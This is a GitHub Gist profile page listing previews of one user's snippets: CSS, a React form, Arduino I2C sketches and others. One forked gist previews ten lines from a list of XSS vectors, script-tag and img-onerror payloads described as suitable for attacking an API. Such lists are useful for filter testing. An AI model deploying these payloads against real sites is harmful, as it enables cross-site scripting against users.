Skip to content

Instantly share code, notes, and snippets.

@jmas
jmas / data.json
Created March 22, 2020 10:11
Snippet example
{
"title": "Welcome",
"options": {
"theme": "dark"
}
}
@jmas
jmas / base.css
Last active March 22, 2020 09:30
Infrastructure
body {
margin: 0;
font-family: sans-serif;
font-size: 16px;
}
.section {
position: relative;
align-content: center;
display: grid;
body { background: transparent !important; margin: 0px auto; overflow: hidden; }
.rooms-header.tw-align-items-center.tw-border-b.tw-c-background-base.tw-flex.tw-flex-shrink-0.tw-full-width.tw-justify-content-center.tw-pd-l-1.tw-pd-r-1,
.chat-input.tw-block.tw-pd-b-1.tw-pd-x-1 { display: none !important; }
.chat-room.tw-flex.tw-flex-column.tw-flex-grow-1.tw-flex-shrink-1.tw-full-width {
background: transparent !important;
}
body {
font-size: 200% !important;
font-weight: bold !important;
}
@jmas
jmas / square.js
Last active December 16, 2019 01:49
var square =
` +-+
|
+-+-+
| | -
+-+-+`;
var points = [];
var jumpers = [];
var relations = [];
square.split('\n').forEach((line, lineIndex) => {
@jmas
jmas / Colorful-Language.markdown
Created September 13, 2019 06:47 — forked from mattnico/Colorful-Language.markdown
A Javascript function to calculate a unique color for any English word.

Colorful Language

This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.

A Pen by Matt Nicolaysen on CodePen.

License.

<?php
// process form
// respond as HTML with updated state
@jmas
jmas / app.js
Last active July 11, 2019 15:58
react-application.js
import React, { useState } from 'react';
export default function App({ data }) {
const [ text, setText ] = useState(data.isChecked);
const [ error, setError ] = useState(null);
const [ isSuccess, setIsSuccess ] = useState(false);
const [ inProgress, setInProgress ] = useState(false);
function submitForm() {
setIsSuccess(false);
@jmas
jmas / 666_lines_of_XSS_vectors.html
Created April 4, 2019 09:19 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@jmas
jmas / LiquidCrystal_I2C_esp8266.cpp
Created February 5, 2019 18:08
LiquidCrystal I2C for ESP8266
#include <LiquidCrystal_I2C.h>
// Set the LCD address to 0x27 for a 16 chars and 2 line display
LiquidCrystal_I2C lcd(0x3F, 16, 2);
void setup()
{
// initialize the LCD
// lcd.begin(); // Init with pin default ESP8266 or ARDUINO
lcd.begin(0, 2); //ESP8266-01 I2C with pin 0-SDA 2-SCL
// Turn on the blacklight and print a message.
@jmas
jmas / i2c_address_scanner_arduino_esp8266.cpp
Created February 5, 2019 18:05
I2C address scanner Arduino (ESP8266) sketch
// --------------------------------------
// i2c_scanner
//
// Version 1
// This program (or code that looks like it)
// can be found in many places.
// For example on the Arduino.cc forum.
// The original author is not know.
// Version 2, Juni 2012, Using Arduino 1.0.1